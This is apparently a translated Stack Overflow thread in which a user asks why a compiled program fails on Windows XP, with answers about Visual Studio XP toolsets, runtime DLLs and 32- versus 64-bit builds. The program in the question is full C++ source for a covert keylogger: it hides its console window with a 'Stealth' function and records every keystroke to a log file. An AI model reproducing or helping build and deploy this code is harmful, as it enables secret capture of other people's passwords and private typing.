【问题标题】:Why this code couldn't run in windows XP为什么此代码无法在 Windows XP 中运行
【发布时间】:2014-10-17 11:45:23
【问题描述】:

我正在 Visual Studio 2013 中编译以下代码。它在我的 Windows 7 上运行,我在上面编译代码。但是,当我将 exe 文件移动到另一个窗口(如 windows xp sp2)时,它无法在其上运行。当我在 windows xp sp2 上运行这个 exe 文件时,在输出中为我显示以下消息。

keylogger.exe 不是有效的 win32 应用程序。

我怎样才能修复这个错误?以下代码是有错误的程序的源代码。

#include <iostream>
#include <windows.h>
#include <winuser.h>

using namespace std;     //used to avoid the compilation errors because of redefinition of variables.

int SaveLogs(int key_stroke, char *file);
void Stealth();  //Declare stealth function to make you keylogger hidden

int main()
{
    Stealth();          // This will call the stealth function.
    char i;             //Here we declare 'i' from the type 'char'

    while (1){
        // Here we say 'while (1)' execute the code.
        for (i = 8; i <= 190; i++){
            if (GetAsyncKeyState(i) == -32767)
                SaveLogs(i, "MYLOGS.txt"); 
            // This will send the value of 'i' and "MYLOGS.txt" to our SaveLogs function.
        }
    }

    system("PAUSE"); // Here we say that the system have to wait before exiting.
    return 0;
}

int SaveLogs(int key_stroke, char *file)   // Here we define our SaveLogs function.
{
    if ((key_stroke == 1) || (key_stroke == 2))
        return 0;

    FILE *OUTPUT_FILE;
    OUTPUT_FILE = fopen(file, "a+");

    cout << key_stroke << endl;

    if (key_stroke == 8)  // The numbers stands for the ascii value of a character
        fprintf(OUTPUT_FILE, "%s", "[BACKSPACE]");
    else if (key_stroke == 13)
        fprintf(OUTPUT_FILE, "%s", "\n");
    else if (key_stroke == 32)
        fprintf(OUTPUT_FILE, "%s", " ");
    else if (key_stroke == VK_TAB)
        fprintf(OUTPUT_FILE, "%s", "[TAB]");
    else if (key_stroke == VK_SHIFT)
        fprintf(OUTPUT_FILE, "%s", "[SHIFT]");
    else if (key_stroke == VK_CONTROL)
        fprintf(OUTPUT_FILE, "%s", "[CONTROL]");
    else if (key_stroke == VK_ESCAPE)
        fprintf(OUTPUT_FILE, "%s", "[ESCAPE]");
    else if (key_stroke == VK_END)
        fprintf(OUTPUT_FILE, "%s", "[END]");
    else if (key_stroke == VK_HOME)
        fprintf(OUTPUT_FILE, "%s", "[HOME]");
    else if (key_stroke == VK_LEFT)
        fprintf(OUTPUT_FILE, "%s", "[LEFT]");
    else if (key_stroke == VK_UP)
        fprintf(OUTPUT_FILE, "%s", "[UP]");
    else if (key_stroke == VK_RIGHT)
        fprintf(OUTPUT_FILE, "%s", "[RIGHT]");
    else if (key_stroke == VK_DOWN)
        fprintf(OUTPUT_FILE, "%s", "[DOWN]");
    else if (key_stroke == 190 || key_stroke == 110)
        fprintf(OUTPUT_FILE, "%s", ".");
    else
        fprintf(OUTPUT_FILE, "%s", &key_stroke);

    fclose(OUTPUT_FILE);
    return 0;
}

void Stealth()
{
    HWND Stealth;
    AllocConsole();
    Stealth = FindWindowA("ConsoleWindowClass", NULL);
    ShowWindow(Stealth, 0);
}

【问题讨论】:

  • 你确定这不应该说win32而不是win342吗?您是否偶然将应用程序编译为 64 位应用程序?
  • 简单猜测:您正在 32 位版本的 Windows 上运行 64 位应用程序
  • Andreas: 不,我在 Visual Studio 32 中将此代码编译为 32 位应用程序。但是当我将此代码移至虚拟 Windows XP SP2 时,它无法运行。但在我的主机 Windows 7 中它运行良好。
  • @specializt : 在 Windows XP SP2 和任何较新版本的 Windows 上运行的 c/c++ 编写应用程序绝对没有问题。
  • @specializt :实际上,我正在维护几个(真正的)软件程序,这些程序可以在 Windows XP SP2 上的所有 Windows 操作系统上完美运行。当然你不能使用 XP 中不存在的 API 函数,并且需要采取一些预防措施,但这并不难。

标签: c winapi keylogger


【解决方案1】:

这与您的程序无关,而是与不支持 Windows XP 的平台工具集有关。

在 Visual Studio 2013 中使用命令 PROJECT - 属性,并在 配置属性->常规->平台工具集下选择“Visual Studio 2013 - Windows XP (v120_xp) " 或任何其他包含 "_xp" 的工具集。

【讨论】:

  • 谢谢先生,现在可以了。但是当程序启动时它显示此消息“此应用程序无法启动,因为未找到 MSVCP120.dll。重新安装应用程序可能会解决此问题。”我现在该如何解决这个问题?!
  • 这是因为您尝试运行调试版本。尝试发布版本,应该可以。
  • 您可能还需要安装可从here 下载的 VC 可再发行组件。如果对您有帮助,请接受答案。
  • 不,它是发布版本迈克尔。但它显示了错误。
  • 好的,如果您在 XP 上安装可再发行组件会怎样?
【解决方案2】:

假设您选择了正确的目标体系结构(x86 与 amd64),也许您使用了 WinXP 不支持的 Winapi 版本。 您必须正确设置 WINVER_WIN32_WINNT 定义以定义要使用的 API 版本。如果您将它们设置为低,则某些功能可能不可用,但您的程序也可以在较旧的 Windows 版本上运行,前提是安装了正确的运行时 dll。

仔细阅读这篇文章,了解如何选择 API 级别:
http://msdn.microsoft.com/en-us/library/windows/desktop/aa383745%28v=vs.85%29.aspx

【讨论】:

    【解决方案3】:

    您的 Windows 7 是 64 位

    您的 Windows XP 是 32 位的

    Keylogger.exe 是一个 64 位应用程序,只能在 64 位 Windows = 您的 Windows 7 上运行

    【讨论】:

    • 不,我的 windows 7 是 x86,我的 windows xp 也是 x86。但我的 windows xp 在虚拟机中运行。
    • 错误答案,Keylogger.exe 是 32 位应用程序。
    • @specializt 除了所有的 x64
    • 看到这么多声望和对处理器架构知之甚少的人有点难过...每个消费级 64 位台式机 CPU 都是 x86,您将有很多研究要做.
    • 他所说的 x86 是指 32 位 x86 而不是 x86-64 或 amd64。
    猜你喜欢
    • 2012-09-20
    • 1970-01-01
    • 1970-01-01
    • 1970-01-01
    • 1970-01-01
    • 1970-01-01
    • 2011-05-25
    • 1970-01-01
    • 1970-01-01
    相关资源
    最近更新 更多